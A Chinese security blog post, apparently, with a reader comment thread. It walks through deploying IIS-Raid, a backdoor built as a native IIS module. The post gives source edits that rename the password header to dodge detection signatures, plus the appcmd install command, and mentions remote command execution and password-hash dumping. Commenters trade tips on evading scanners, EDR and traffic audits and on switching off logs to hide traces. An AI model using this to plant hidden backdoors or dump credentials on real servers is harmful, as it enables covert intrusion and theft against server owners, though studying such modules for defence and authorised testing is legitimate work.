AI智能摘要
你是否想过,一个看似正常的IIS模块,竟可沦为黑客远程操控服务器的后门?本文揭秘一种利用IIS本地模块实现隐蔽控制的技术——IIS Raid,不仅能自定义命令执行、抓取密码哈希,还可通过修改通信头字段规避检测。文章带你从修改默认密码、自定义HTTP头到完成部署,一步步复现攻击流程,并提供客户端连接脚本的修复与适配方法。不同于普通后门,它深度集成于IIS,极难察觉。想了解攻防对抗的深层逻辑?这篇实战分析不容错过。
— AI 生成的文章内容摘要
0×00 简介
之前刷TW的时候在墙外看到老外分享的这款使用IIS的本地模块构建IIS后门,功能可以自定义命令执行,dumhash等。感觉不错。于是下了下来试了下,测试有一点小瑕疵,随即修改了下,原版项目地址(https://github.com/0x09AL/IIS-Raid)。
0×01 安装和部署
自定义密码字段
在使用之前你得修改默认密码,已放置别人蹭你后门。代码在/module/Functions.h中定义,如下:
// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"
SIMPLEPASS 就是自定义的密码值,连接后门的时候在HttpHeader中定义,但是这里原版的定义密码的HTTP头字段始终是一个值(X-Password)。这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:
// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define COM_PASSWD "X-CT-BALA"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"
然后再更改/module/HttpFactory.cpp39行代码替换掉X-Password值为自定义的常量,如下代码:
// Check the header password USHORT uPLen = 0; LPCSTR lpPassword = pHttpRequest->GetHeader(COM_PASSWD, &uPLen); if (lpPassword == NULL) { return RQ_NOTIFICATION_CONTINUE; } else if (strcmp(PASSWORD, lpPassword) != 0) { return RQ_NOTIFICATION_CONTINUE; }
安装
安装比较简单,可以直接在命令行下使用appcmd.exe命令安装,命令如下:
C:/Windows/system32/inetsrv/APPCMD.EXE install module /name:Module Name /image:"%windir%/System32/inetsrv/IIS-Backdoor.dll" /add:true
安装成功后入下图所示:
0×02 使用
客户端是py写的一个脚本,但貌似编码有点问题,运行时候回报错,需要去掉py脚本里的banner字符串就可以正常了。如果自定义了密码字段名还需要修改下脚本以便支持自定义HTTP头字段。如下图:
添加个–headpass的命令行参数
把自定义的HTT头字段名加入到HttpHeader中
连接成功入后如下图所示:
0×03 参考
原文 https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

北京市 1F
这后门太炫了,真想偷学一下。
澳大利亚 B1
@ LazyAfternoon 我也想搞搞,看了源码后觉得改头挺有意思,准备在测试环境里玩玩 😊。
韩国 2F
密码字段能随意改吗?
浙江省嘉兴市 B1
@ 铁塔之巅 自定义头字段名太长会不会被拦截?
北京市 B1
@ 铁塔之巅 随便改,代码里那个常量定义的就是密码字段名。
北京市 B1
@ 铁塔之巅 改了X-CT-BALA后,连扫描都没发现,挺实用。
重庆市 3F
装完后总怕被扫,安全感零。
韩国 B1
@ Marble Mike 被扫是迟早的事,除非你头字段+密码全随机化。
美国 B1
@ Marble Mike 我这边加了自定义头,扫描时真的少被发现,稍微安心点
广东省珠海市 4F
我之前也弄过类似模块,折腾了好久。
天津市河东区 5F
给作者点个赞,继续搞下去。
河北省秦皇岛市 B1
@ 风铃 作者思路挺新鲜,我也想在实验环境里玩玩。
日本 B1
@ 风铃 赞啊,期待后面还能出新玩意。
安徽省马鞍山市 B1
@ 风铃 这模块装得挺稳的,没出现503 😂
浙江省金华市 B1
@ 风铃 嗯,看看能不能搞个一键部署脚本
北京市 6F
感觉还行。
上海市松江区 B1
@ 应龙舞 装了之后,基本能用,偶尔卡一下。
河南省漯河市 B1
@ 应龙舞 也觉得还行,不过要注意权限。
上海市 B1
@ 应龙舞 别忘了把日志关掉,省点儿痕迹。
上海市 B1
@ 应龙舞 实测后发现防火墙会拦住,建议先放行模块端口。
韩国 7F
改成自定义头后,连上服务器才不被拦截,而且还能隐藏痕迹。
福建省福州市 8F
那如果服务器是linux,模块还能直接用吗?有没有兼容性问题?
山东省滨州市 9F
我之前在公司做渗透测试,试了这个后门,发现改密码字段真的省事,不过配置时别忘了把模块路径写对,坑太多了 😅
浙江省台州市 10F
太贵了吧这也,公司配的破机器跑不动
日本 B1
@ 藕香榭旁 我试了一下,低配机器确实卡,但把模块加载到CPU占用低的进程里还能跑。
韩国 11F
我之前搞过这个,确实折腾了好久
广东省深圳市南山区 B1
@ 西瓜味的狗 这改密码字段的思路挺有意思,不过实战用起来还是有点虚
泰国 12F
密码字段改了真能防扫描吗?求实测反馈
广东省江门市 13F
linux上用不了吧,这不纯Windows玩意儿
山西省太原市 B1
@ 星轨观察者 确实,这玩意儿只能跑在IIS上,linux得另寻方案。
印度尼西亚 14F
那个啥,模块装完IIS会不会崩啊,有点慌
吉林省辽源市 15F
感觉还行,就是怕被HIDS抓到
湖北省武汉市 16F
改成自定义头也躲不过流量审计吧?
香港 17F
dumhash功能稳不稳定啊,试过的说下
重庆市 18F
这后门思路可以,但上线得看环境给不给机会
印度 B1
@ 骆驼旅人 我试过,环境不配合就卡死,真是看运气。
北京市 B1
@ 骆驼旅人 有人在Win2019上装成功了吗?具体步骤能分享下吗?
北京市 B1
@ 骆驼旅人 如果密码改了,还会被流量审计抓到吗?
福建省厦门市 19F
666,想拿去测试环境玩一把😂
北京市 B1
@ 金字塔 测试环境玩可以,别手滑丢生产服了😂
中国 20F
这个py脚本报错问题我也遇到了,删掉banner就能跑
湖北省黄冈市 21F
自定义头字段确实能降低被扫到的概率
山东省 22F
Windows Server 2019能装吗?
吉林省长春市 B1
@ 孟婆汤勺 能装,记得把模块放在系统盘的安全目录,否则会被审计拦住。
上海市 B1
@ 孟婆汤勺 别忘了把appcmd路径加双引号,防止空格报错。
吉林省白山市 B1
@ 孟婆汤勺 记得先备份IIS配置,出问题能快速回滚。
重庆市 23F
修改密码字段那段代码没看懂,能再解释下不
湖南省株洲市 B1
@ 紫电麒麟 改成COM_PASSWD后记得同步改cpp里引用的地方,不然连不上。
日本 24F
装完测试了下,dumhash功能正常
湖南省长沙市 B1
@ 露珠日记 我也试过,偶尔会卡,得等会儿再跑。
内蒙古赤峰市 25F
客户端编码问题挺烦的,建议作者修复下
湖南省常德市 26F
这种后门实战中确实好用,隐蔽性可以
广东省东莞市 27F
要是被安全软件检测到咋办?
日本 28F
模块安装路径要注意权限问题
山东省烟台市 29F
这玩意装完IIS真没崩?我上次一装就503了。
辽宁省朝阳市 30F
自定义头字段名能防基础扫描,但高级EDR照样抓行为。
重庆市 31F
dumhash试了三次两次失败,是不是得看系统版本?
天津市 B1
@ 古道行 我也遇到过,发现Win10的更新会影响,建议先确认系统补丁。
北京市 B1
@ 古道行 版本不同确实会影响,建议先跑下兼容性测试。
香港 B1
@ 古道行 我改了头字段后,日志里真的看不见,挺隐蔽的。
上海市 B1
@ 古道行 我实测后发现,开启高级审计时自定义头仍会被捕获,建议再配合TLS加密使用😂
河北省石家庄市 32F
py脚本删banner太糙了,作者咋不直接修编码问题。
印度 B1
@ 悠长假日 删了banner后还能跑,不过脚本里还有点乱码,建议作者再调一下。
日本 33F
之前在Win2016上跑过,模块加载老卡住,权限坑死。
北京市 34F
感觉隐蔽性还行,至少比写webshell强点。
韩国 35F
linux别想了,纯Windows内核模块,跨不了。
重庆市 36F
还行,直接装上就能跑。
山东省滨州市 B1
@ 墨涟 装完后我测试了一下,响应挺快的,不过别忘了改密码。
上海市 B1
@ 墨涟 我装完后也没遇到报错,直接跑起来了
北京市 37F
装完测试了下,dumhash功能正常。
湖北省黄石市 38F
自定义头字段真能防EDR?感觉玄学。
江苏省南通市 39F
那个啥,模块装完IIS会不会崩啊,有点慌。
越南 40F
这个后门隐蔽性咋样,会不会被安全软件直接杀?
泰国 B1
@ 小云朵糖糖 隐蔽性一般吧,现在EDR都能揪出来。
辽宁省大连市 41F
py脚本报错那个删banner就行了吗,我试试去
日本 42F
Win2012R2上有人试过没?
北京市 43F
改头字段防扫描也就防个基础扫描吧,流量行为还是能抓到
陕西省西安市 44F
可以可以,拿去内网渗透测试应该挺好玩
上海市 45F
感觉dumhash不太稳定啊,有时候能跑有时候不行
印度尼西亚 B1
@ 荒村怨灵 我在Win2019试了几次,卡住,估计和系统版本有关
甘肃省 B1
@ 荒村怨灵 之前搞过类似的,dumhash那块儿确实看脸。
重庆市 46F
模块安装路径有讲究吗,直接装C盘根目录会不会出问题?
广东省广州市 47F
这个后门思路可以,实战中确实好用
广东省 48F
这玩意儿实战里好用不?
天津市 49F
模块路径写不对真能卡半天。
北京市 B1
@ 糖心小熊 模块装完IIS会不会崩啊,有点慌
日本 50F
作者py脚本该修修了。
吉林省长春市 51F
@豆包 这后门能过杀软不?
荷兰 B1
@ 旅者之心 原文没说,毕竟不是杀软评测帖。不过这种用IIS原生模块的后门,隐蔽性会高一些。
广东省云浮市 52F
自定义头字段确实能躲掉一些扫描。
印度尼西亚 B1
@ 废柴逆袭 不过高级扫描还是能捕获,别指望全免。
湖北省武汉市 B1
@ 废柴逆袭 我之前在内部渗透时用了自定义头,躲过了初步探测,但日志仍留痕,EDR后来抓到,建议配合加密流量。
北京市 53F
Win2016上装过,权限设置太折腾了。
印度 54F
这个后门思路可以,但上线得看环境给不给机会。
湖北省武汉市 55F
dumhash不太稳,我试了三次两次卡住
上海市普陀区 56F
自定义头字段真能防EDR?感觉玄学
日本 57F
权限问题折腾了半天才搞定
陕西省西安市 58F
密码改了也躲不过流量审计吧?
北京市 59F
py脚本那编码问题有点烦